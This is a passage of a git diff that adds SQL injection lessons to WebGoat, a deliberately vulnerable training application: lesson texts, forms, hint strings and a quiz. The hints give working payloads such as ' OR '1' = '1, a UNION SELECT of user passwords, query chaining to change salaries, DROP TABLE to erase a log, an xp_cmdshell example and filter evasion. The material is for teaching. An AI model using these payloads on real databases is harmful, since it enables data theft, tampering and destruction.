Least privilege +* Database technology + +=== Not all databases support command chaining +* Microsoft Access +* MySQL Connector/J and C +* Oracle + +=== SQL injection is more common in PHP, Classic ASP, Cold Fusion and older languages +* Languages that do not provide parameterized query support +* Parameterized queries have been added to newer versions +* Early adopters of web technology (i.e. Old Code) + +=== Not all databases are equal (SQL Server) +* Command shell: `master.dbo.xp_cmdshell 'cmd.exe dir c:'` +* Registry commands: `xp_regread`, `xp_regdeletekey`, … diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content8.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content8.adoc new file mode 100644 index 000000000..2bfaf1e8c --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content8.adoc @@ -0,0 +1,26 @@ +== Compromising confidentiality with String SQL injection +If a system is vulnerable to SQL injections, aspects of that system's CIA triad can be easily compromised _(if you are unfamiliar with the CIA triad, check out the CIA triad lesson in the general category)_. +In the following three lessons you will learn how to compromise each aspect of the CIA triad using techniques like _SQL string injections_ or _query chaining_. + +In this lesson we will look at *confidentiality*. +Confidentiality can be easily compromised by an attacker using SQL injection; for example, successful SQL injection can allow the attacker to read sensitive data like credit card numbers from a database. + +=== What is String SQL injection? +If an application builds SQL queries simply by concatenating user supplied strings to the query, the application is likely very susceptible to String SQL injection. + +More specifically, if a user supplied string simply gets concatenated to a SQL query without any sanitization or preparation, then you may be able to modify the query's behavior by simply inserting quotation marks into an input field. +For example, you could end the string parameter with quotation marks and input your own SQL after that. + +=== It is your turn! +You are an employee named John *Smith* working for a big company. +The company has an internal system that allows all employees to see their own internal data such as the department they work in and their salary. + +The system requires the employees to use a unique _authentication TAN_ to view their data. + +Your current TAN is *3SL99A*. + +Since you always have the urge to be the most highly paid employee, you want to exploit the system so that instead of viewing your own internal data, _you want to take a look at the data of all your colleagues_ to check their current salaries. + +Use the form below and try to retrieve all employee data from the *employees* table. You should not need to know any specific names or TANs to get the information you need. + +You already found out that the query performing your request looks like this: +------------------------------------------------------------ +"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"; +------------------------------------------------------------ diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content9.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content9.adoc new file mode 100644 index 000000000..f4b08d0c9 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content9.adoc @@ -0,0 +1,18 @@ +== Compromising Integrity with Query chaining +After compromising the confidentiality of data in the previous lesson, this time we are gonna compromise the *integrity* +of data by using SQL *query chaining*. + +If a severe enough vulnerability exists, SQL injection may be used to compromise the integrity of any data in the database. Successful SQL injection may allow an attacker to change information that he should not even be +able to access. + +=== What is SQL query chaining? +Query chaining is exactly what it sounds like. With query chaining, you try to append one or more queries to the end of +the actual query. You can do this by using the *;* metacharacter. A *;* marks the end of a SQL statement; it allows one to start another query right after the initial query without the need to even start a new line. + +=== It is your turn! +You just found out that Tobi and Bob both seem to earn more money than you! +Of course you cannot leave it at that. + +Better go and _change your own salary so you are earning the most!_ + + +Remember: Your name is John *Smith* and your current TAN is *3SL99A*. \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_plan.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_plan.adoc new file mode 100644 index 000000000..73dd26e51 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_plan.adoc @@ -0,0 +1,14 @@ +== Concept + +This lesson describes what Structured Query Language (SQL) is and how it can be manipulated to perform tasks that were not the original intent of the developer. + +=== Goals + +* The user will have a basic understanding of how SQL works and what it is used for +* The user will have a basic understanding of what SQL injection is and how it works +* The user will demonstrate knowledge on: +** DML, DDL and DCL +** String SQL injection +** Numeric SQL injection +** How SQL injection violates the CIA triad + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_completion.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_completion.adoc new file mode 100644 index 000000000..1a65e1288 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_completion.adoc @@ -0,0 +1,5 @@ +== Try it! Writing safe code + +You can see some code down below, but the code is incomplete. Complete the code, so that it's no longer vulnerable to a SQL injection! Use the classes and methods you have learned before. + +The code has to retrieve the status of the user based on the name and the mail address of the user. Both the name and the mail are in the string format. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_newcode.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_newcode.adoc new file mode 100644 index 000000000..1aa707560 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_newcode.adoc @@ -0,0 +1,32 @@ +== Try it! Writing safe code + +Now it is time to write your own code! +Your task is to use JDBC to connect to a database and request data from it. + +*Requirements:* + +* connect to a database +* perform a query on the database which is immune to SQL injection attacks +* your query needs to contain at least one string parameter + +*Some tips before you start:* + +For connecting to the database, you can simply assume the constants *DBURL*, *DBUSER* and *DBPW* as given. + +The content of your query does not matter, as long as the SQL is valid and meets the requirements. + +All the code you write gets inserted into the main method of a Java class with the name "TestClass" that already imports *java.sql.** for you. + +Not creative enough to think of your own query? How about you try to retrieve the data of a user with a specific name from a fictional database table called *users*. + +For example; the following code would compile without any error (but of course does not meet the requirements to complete this lesson). + +[source,java] +------------------------------------------------------- +try { + Connection conn = null; + System.out.println(conn); //should output 'null' +} catch (Exception e) { + System.out.println("Oops. Something went wrong!"); +} +------------------------------------------------------- + +Use your knowledge and write some valid code from scratch in the editor window down below! +(if you cannot type there it might help to adjust the size of your browser window once, then it should work): diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_order_by.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_order_by.adoc new file mode 100644 index 000000000..e654687f0 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_order_by.adoc @@ -0,0 +1,5 @@ +In this assignment try to perform an SQL injection through the ORDER BY field. +Try to find the ip address of the `webgoat-prd` server, guessing the complete +ip address might take too long so we give you the last part: `xxx.130.219.202` + +Note: The submit field of this assignment is *NOT* vulnerable to an SQL injection. \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_quiz.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_quiz.adoc new file mode 100644 index 000000000..9266c53cf --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_quiz.adoc @@ -0,0 +1 @@ +Now it is time for a quiz! It is recommended to do all SQL injection lessons before trying the quiz. Answer all questions correctly to complete the assignment. \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/html/SqlInjection.html b/src/main/resources/lessons/sqlinjection/html/SqlInjection.html new file mode 100644 index 000000000..529b54b56 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/html/SqlInjection.html @@ -0,0 +1,293 @@ + + + + + + +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + + +
    +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + + +
    +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + + +
    +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + + +
    +
    +
    +
    +
    +
    + + +
    +
    +
    + + +
    +
    +
    "SELECT * FROM users WHERE name = ''";
    +
    +
    + +
    +
    +
    + + +
    +
    +
    + + +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + + + +
    SELECT * FROM user_data WHERE first_name = 'John' AND last_name = ' + + + + '
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + + + + +
    Login_Count:
    User_Id:
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + + + +
    +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + + + + + + +
    +
    +
    +
    +
    +
    + + +
    +
    + +
    +
    +
    + + + + + + + + +
    +
    +
    +
    +
    +
    + + diff --git a/src/main/resources/lessons/sqlinjection/html/SqlInjectionAdvanced.html b/src/main/resources/lessons/sqlinjection/html/SqlInjectionAdvanced.html new file mode 100644 index 000000000..040c824d9 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/html/SqlInjectionAdvanced.html @@ -0,0 +1,184 @@ + + + + + + +
    +
    +
    + + +
    +
    +
    + + +
    +
    +
    +
    +
    + + + + + + + +
    Name:
    +
    +
    + + + + + + + +
    Password:
    +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + + + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + + diff --git a/src/main/resources/lessons/sqlinjection/html/SqlInjectionMitigations.html b/src/main/resources/lessons/sqlinjection/html/SqlInjectionMitigations.html new file mode 100644 index 000000000..f989a1c05 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/html/SqlInjectionMitigations.html @@ -0,0 +1,197 @@ + + + + + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +

    Connection conn = DriverManager.(DBURL, DBUSER, DBPW);

    +

    = conn.("SELECT status FROM users WHERE name= AND mail=");

    +

    ;

    +

    ;

    +
    +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + +
    + +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + + + + + + + +
    Name:
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + +
    Name:
    +
    +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +

    List of servers +
    + +
    +

    +
    +
    + +
    + + + + + + + + + + + + + + +
    Hostname + IP MAC Status + Description +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    IP address webgoat-prd server:
    + +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + + diff --git a/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..103820d34 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels.properties @@ -0,0 +1,116 @@ +#StringSqlInjection.java +1.sql.injection.title=SQL Injection (intro) +2.sql.advanced.title=SQL Injection (advanced) +3.sql.mitigation.title=SQL Injection (mitigation) + + +SqlInjectionChallenge1=Look at the different response you receive from the server +SqlInjectionChallenge2=The vulnerability is on the register form +SqlInjectionChallenge3=Use tooling to automate this attack +NoResultsMatched=No results matched, try again. +ResultsButNotTom=Try To login as Tom! + +sql-injection.2.success=You have succeeded! +sql-injection.2.failed=Something went wrong! You got no results, check your SQL Statement and the table above. +SqlStringInjectionHint2-1=You want the data from the column with the name department. You know the database name (employees) and you know the first- and lastname of the employee (first_name, last_name). +SqlStringInjectionHint2-2=SELECT column FROM tablename WHERE condition; +SqlStringInjectionHint2-3=Use ' instead of " when comparing two strings. +SqlStringInjectionHint2-4=Pay attention to case sensitivity when comparing two strings. + +SqlStringInjectionHint3-1=Try the UPDATE statement +SqlStringInjectionHint3-2=UPDATE table name SET column name=value WHERE condition; + +SqlStringInjectionHint4-1=ALTER TABLE alters the structure of an existing database +SqlStringInjectionHint4-2=Do not forget the data type of the new column (e.g. varchar(size) or int(size)) +SqlStringInjectionHint4-3=ALTER TABLE table name ADD column name data type(size); + +SqlStringInjectionHint5-1=Take a look at how to use a grant statement (WebGoat uses HSQLDB) +SqlStringInjectionHint5-2=You can grant to a user or a role. +SqlStringInjectionHint5-3=Try to grant 'select' privilege to 'unauthorized_user'. +SqlStringInjectionHint5-4=Use 'grant select on <> to <>' to solve the assignment. + +sql-injection.5a.success=You have succeeded: {0} +sql-injection.5a.no.results=No results matched. Try Again. +SqlStringInjectionHint5a1=Remember that for an successful Sql-Injection the query needs to always evaluate to true. + +sql-injection.5b.success=You have succeeded: {0} +sql-injection.5b.no.results=No results matched. Try Again. +SqlStringInjectionHint5b1=Try to check which of the input fields is susceptible to an injection attack. +SqlStringInjectionHint5b2=Insert: 0 or 1 = 1 into the first input field. The output should tell you if this field is injectable. +SqlStringInjectionHint5b3=The first input field is not susceptible to sql injection. +SqlStringInjectionHint5b4=You do not need to insert any quotations into your injection-string. + +sql-injection.6a.success=You have succeeded: {0} +sql-injection.6a.no.results=No results matched. Try Again. + +sql-injection.advanced.6a.success=You have succeeded: {0} +sql-injection.advanced.6a.no.results=No results matched. Try Again. +SqlStringInjectionHint-advanced-6a-1=Remember that when using an UNION each SELECT statement within UNION must have the same number of columns. +SqlStringInjectionHint-advanced-6a-2=The data type of a column in the first SELECT statement must have a similar data type to that in the second SELECT statement. +SqlStringInjectionHint-advanced-6a-3=Your new SQL query must end with a comment. eg: -- +SqlStringInjectionHint-advanced-6a-4=If a column needs a String you could substitute something like 'a String' for it. For integers you could substitute a 1. +SqlStringInjectionHint-advanced-6a-5=Try something like: Smith' UNION SELECT userid,user_name, password, 'a', 'b', 'c', 1 from user_system_data -- + +sql-injection.6b.success=You have succeeded: {0} +sql-injection.6b.no.results=No results matched. Try Again. + +sql-injection.8.success=You have succeeded! You successfully compromised the confidentiality of data by viewing internal information that you should not have access to. Well done! +sql-injection.8.no.results=No employee found with matching last name. Or maybe your authentication TAN is incorrect? +sql-injection.8.one=That is only one account. You want them all! Try again. +SqlStringInjectionHint.8.1=The application is taking your input and inserting the values into the variables 'name' and 'auth_tan' of the pre-formed SQL command. +SqlStringInjectionHint.8.2=Compound SQL statements can be made by expanding the WHERE clause of the statement with keywords like AND and OR. +SqlStringInjectionHint.8.3=Try appending a SQL statement that always resolves to true. +SqlStringInjectionHint.8.4=Make sure all quotes (" ' ") are opened and closed properly so the resulting SQL query is syntactically correct. +SqlStringInjectionHint.8.5=Try extending the WHERE clause of the statement by adding something like: ' OR '1' = '1. + +sql-injection.9.success=Well done! Now you are earning the most money. And at the same time you successfully compromised the integrity of data by changing the salary! +sql-injection.9.one=Still not earning enough! Better try again and change that. +SqlStringInjectionHint.9.1=Try to find a way, to chain another query to the end of the existing one. +SqlStringInjectionHint.9.2=Use the ; metacharacter to do so. +SqlStringInjectionHint.9.3=Make use of DML to change your salary. +SqlStringInjectionHint.9.4=Make sure that the resulting query is syntactically correct. +SqlStringInjectionHint.9.5=How about something like '; UPDATE employees.... + +sql-injection.10.success=Success! You successfully deleted the access_log table and that way compromised the availability of the data. +sql-injection.10.entries=There is still evidence of what you did. Better remove the whole table. + +sql-injection.10b.success=You did it! Your code can prevent an SQL injection attack! +sql-injection.10b.failed=Something does not seem right with that code. Maybe you should look at an example how to prevent SQL injections with JDBC? +sql-injection.10b.no-code=You need to write some code. +sql-injection.10b.compiler-errors=Could not compile code: + +SqlStringInjectionHint.10.1=Use the techniques that you have learned before. +SqlStringInjectionHint.10.2=The application takes your input and filters for entries that are LIKE it. +SqlStringInjectionHint.10.3=Try query chaining to reach the goal. +SqlStringInjectionHint.10.4=The DDL allows you to delete (DROP) database tables. +SqlStringInjectionHint.10.5=The underlying SQL query looks like that: "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'". +SqlStringInjectionHint.10.6=Remember that you can use the -- metacharacter to comment out the rest of the line. + +SqlStringInjectionHint-mitigation-10a-1=First establish a connection, after that you can create a statement. +SqlStringInjectionHint-mitigation-10a-2=For every data type there is a method to insert values into a wildcard symbol in a statement. + +SqlStringInjectionHint-mitigation-10b-1=A database connection has to be surrounded by a try-catch block to handle the very common case of an error while establishing the connection. +SqlStringInjectionHint-mitigation-10b-2=Remember to use the right kind of statement, so your code is no longer vulnerable for SQL injections. +SqlStringInjectionHint-mitigation-10b-3=The wildcard symbol '?' in a prepared statement can be filled with the right kind of method. There exists one for every data type. +SqlStringInjectionHint-mitigation-10b-4=Make sure to execute your statement. +SqlStringInjectionHint-mitigation-10b-5=View the previous lesson to check back on how you can build set up a connection. + +SqlStringInjectionHint-mitigation-13-1=Try sorting and look at the request +SqlStringInjectionHint-mitigation-13-2=Intercept the request and try to specify a different order by +SqlStringInjectionHint-mitigation-13-3=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens +SqlStringInjectionHint-mitigation-13-4=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens + +SqlInjectionChallengeHint1=The table name is randomized at each start of WebGoat, try to figure out the name first. +SqlInjectionChallengeHint2=Find the field which is vulnerable to SQL injection use that to change the password. +SqlInjectionChallengeHint3=Change the password through an UPDATE Statement. +SqlInjectionChallengeHint4=The vulnerable field is the username field of the register form. + +SqlOnlyInputValidation-failed=Using spaces is not allowed! +SqlOnlyInputValidation-1=Spaces are rejected, try to find a way around this restriction +SqlOnlyInputValidation-2=Try to use a comment in the query +SqlOnlyInputValidation-3=WebGoat uses HSQLDB as a database can you use one of them to make skip the filtering? + +SqlOnlyInputValidationOnKeywords-failed=Use of spaces and/or SQL keywords are not allowed! +SqlOnlyInputValidationOnKeywords-1=Spaces are and SQL keywords are rejected, try to find a way around this restriction +SqlOnlyInputValidationOnKeywords-2=Try to use a comment in the query +SqlOnlyInputValidationOnKeywords-3=WebGoat uses HSQLDB as a database can you use one of them to make skip the filtering? diff --git a/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_de.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_de.properties new file mode 100644 index 000000000..7ec3f4462 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_de.properties @@ -0,0 +1,8 @@ +#StringSqlInjection.java +StringSqlInjectionSecondStage=Da sie nun erfolgreich eine SQL Injection durchgef\u00fchrt haben, versuchen Sie denselben Typ von Angriff auf eine parametrisierte Anfrage. Starten Sie Diese Lektion neu, wenn Sie zur verwundbaren SQL Anfrage gelangen m\u00f6chten. + EnterLastName=Geben Sie Ihren Nachnamen ein: +NoResultsMatched=Keine Resultate gefunden, versuchen Sie es erneut +SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command. +SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:

    "SELECT * FROM user_data WHERE last_name = "accountName" +SqlStringInjectionHint3=Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Try appending a SQL statement that always resolves to true +SqlStringInjectionHint4=Try entering [ smith' OR '1' = '1 ]. diff --git a/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_fr.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_fr.properties new file mode 100644 index 000000000..e25a104f7 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_fr.properties @@ -0,0 +1,8 @@ +#StringSqlInjection.java +StringSqlInjectionSecondStage=Maintenant que vous avez r\u00e9alis\u00e9 une injection SQL avec succ\u00e8s, essayer le m\u00eame type d'attaque sur une requ\u00eate param\u00e9tr\u00e9e. Red\u00e9marrez la le\u00e7on si vous souhaitez revenir \u00e0 la requ\u00eate injectable. +EnterLastName=Entrez votre nom : +NoResultsMatched=Aucun r\u00e9sultat correspondant. Essayez encore. +SqlStringInjectionHint1=L'application r\u00e9cup\u00e8re votre saisie et l'ins\u00e8re \u00e0 la fin d'une commande SQL pr\u00e9-form\u00e9e. +SqlStringInjectionHint2=Voici le code de la requ\u00eate assembl\u00e9e et ex\u00e9cut\u00e9e par WebGoat :

    "SELECT * FROM user_data WHERE last_name = "accountName" +SqlStringInjectionHint3=Les commandes SQL compos\u00e9es peuvent \u00eatre assembl\u00e9es en associant de multiples conditions au moyen de mots-cl\u00e9 tels que AND et OR. Essayez d'assembler une condition qui sera toujours r\u00e9solue \u00e0 vrai. +SqlStringInjectionHint4=Essayez de saisir [ smith' OR '1' = '1 ]. \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_ru.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_ru.properties new file mode 100644 index 000000000..073d4a78b --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_ru.properties @@ -0,0 +1,8 @@ +#StringSqlInjection.java +StringSqlInjectionSecondStage=\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u0432\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0434\u0430\u0447\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0430\u0447\u043d\u0438\u0442\u0435 \u0443\u0440\u043e\u043a \u0437\u0430\u043d\u043e\u0432\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u043d\u043e\u0432\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043f\u043e\u043b\u0435. +EnterLastName=\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0432\u0430\u0448\u0443 \u0444\u0430\u043c\u0438\u043b\u0438\u044e: +NoResultsMatched=\u041d\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u043d\u043e\u0432\u0430. +SqlStringInjectionHint1=\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0435\u0440\u0451\u0442 \u0442\u043e \u0447\u0442\u043e \u0432\u044b \u0432\u0432\u043e\u0434\u0438\u0442\u0435 \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u043a\u043e\u043d\u0435\u0446 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. +SqlStringInjectionHint2=\u0412\u043e\u0442 \u043a\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f WebGoat`\u043e\u043c:

    "SELECT * FROM user_data WHERE last_name = "accountName" +SqlStringInjectionHint3=\u0426\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0430\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0441\u043b\u043e\u0432 \u043a\u0430\u043a AND \u0438 OR. \u041f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0435 SQL-\u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0442\u0438\u043d\u0443. +SqlStringInjectionHint4=\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0432\u0432\u0435\u0441\u0442\u0438 [ smith' OR '1' = '1 ]. \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/js/assignment10b.js b/src/main/resources/lessons/sqlinjection/js/assignment10b.js new file mode 100644 index 000000000..fc90cd38b --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/js/assignment10b.js @@ -0,0 +1,19 @@ +$(document).ready( () => { + var editor = ace.edit("editor"); + editor.setTheme("ace/theme/monokai"); + editor.session.setMode("ace/mode/java"); + + editor.getSession().on("change", () => { + setTimeout( () => { + $("#codesubmit input[name='editor']").val(ace_collect()); + }, 20); + }); + + +}); + +function ace_collect() { + var editor = ace.edit("editor"); + var code = editor.getValue(); + return code; +} \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/js/assignment13.js b/src/main/resources/lessons/sqlinjection/js/assignment13.js new file mode 100644 index 000000000..6449be24d --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/js/assignment13.js @@ -0,0 +1,61 @@ +$(function () { + $('.col-check').hide(); + $('#btn-admin').on('click', function () { + if ($("#toolbar-admin").is(":visible")) { + $("#toolbar-admin").hide(); + $(".col-check").hide(); + } + else { + $("#toolbar-admin").show(); + $(".col-check").show(); + } + }); + + $('#btn-online').on('click', function () { + $('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('success'); + $('table tr').filter(':has(:checkbox:checked)').find('td.status').text('online'); + }); + $('#btn-offline').on('click', function () { + $('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('warning'); + $('table tr').filter(':has(:checkbox:checked)').find('td.status').text('offline'); + }); + $('#btn-out-of-order').on('click', function () { + $('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('danger'); + $('table tr').filter(':has(:checkbox:checked)').find('td.status').text('out of order'); + }); + +}); + +$(document).ready(function () { + getServers('id'); +}); + +var html = '
    ' + + '' + + '' + + '' + + '' + + '' + + '' + + ''; + +function getServers(column) { + $.get("SqlInjectionMitigations/servers?column=" + column, function (result, status) { + $("#servers").empty(); + for (var i = 0; i < result.length; i++) { + var server = html.replace('ID', result[i].id); + var status = "success"; + if (result[i].status === 'offline') { + status = "danger"; + } + server = server.replace('ONLINE', status); + server = server.replace('STATUS', status); + server = server.replace('HOSTNAME', result[i].hostname); + server = server.replace('IP', result[i].ip); + server = server.replace('MAC', result[i].mac); + server = server.replace('DESCRIPTION', result[i].description); + $("#servers").append(server); + } + + }); +} \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/js/challenge.js b/src/main/resources/lessons/sqlinjection/js/challenge.js new file mode 100644 index 000000000..9107e1176 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/js/challenge.js @@ -0,0 +1,18 @@ +$(function() { + + $('#login-form-link').click(function(e) { + $("#login-form").delay(100).fadeIn(100); + $("#register-form").fadeOut(100); + $('#register-form-link').removeClass('active'); + $(this).addClass('active'); + e.preventDefault(); + }); + $('#register-form-link').click(function(e) { + $("#register-form").delay(100).fadeIn(100); + $("#login-form").fadeOut(100); + $('#login-form-link').removeClass('active'); + $(this).addClass('active'); + e.preventDefault(); + }); + +}); \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/js/questions_sql_injection.json b/src/main/resources/lessons/sqlinjection/js/questions_sql_injection.json new file mode 100644 index 000000000..92655ea39 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/js/questions_sql_injection.json @@ -0,0 +1,43 @@ +{ + "questions": [{ + "text": "What is the difference between a prepared statement and a statement?", + "solutions": { + "1": "Prepared statements are statements with hard-coded parameters.", + "2": "Prepared statements are not stored in the database.", + "3": "A statement is faster.", + "4": "A statement has got values instead of a prepared statement" + } + }, { + "text": "Which one of the following characters is a placeholder for variables?", + "solutions": { + "1": "*", + "2": "=", + "3": "?", + "4": "!" + } + }, { + "text": "How can prepared statements be faster than statements?", + "solutions": { + "1": "They are not static so they can compile better written code than statements.", + "2": "Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.", + "3": "Prepared statements are stored and wait for input it raises performance considerably.", + "4": "Oracle optimized prepared statements. Because of the minimal use of the databases resources it is faster." + } + }, { + "text": "How can a prepared statement prevent SQL-Injection?", + "solutions": { + "1": "Prepared statements have got an inner check to distinguish between input and logical errors.", + "2": "Prepared statements use the placeholders to make rules what input is allowed to use.", + "3": "Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.", + "4": "Prepared statements always read inputs literally and never mixes it with its SQL commands." + } + }, { + "text": "What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?", + "solutions": { + "1": "The table Students and all of its content will be deleted.", + "2": "The input deletes all students with the name Robert.", + "3": "The database registers 'Robert' and deletes the table afterwards.", + "4": "The database registers 'Robert' ); DROP TABLE Students;--'." + } + }] +} \ No newline at end of file diff --git a/src/main/resources/lessons/ssrf/documentation/SSRF_Intro.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Intro.adoc new file mode 100755 index 000000000..b6958d2f6 --- /dev/null +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Intro.adoc @@ -0,0 +1,12 @@ 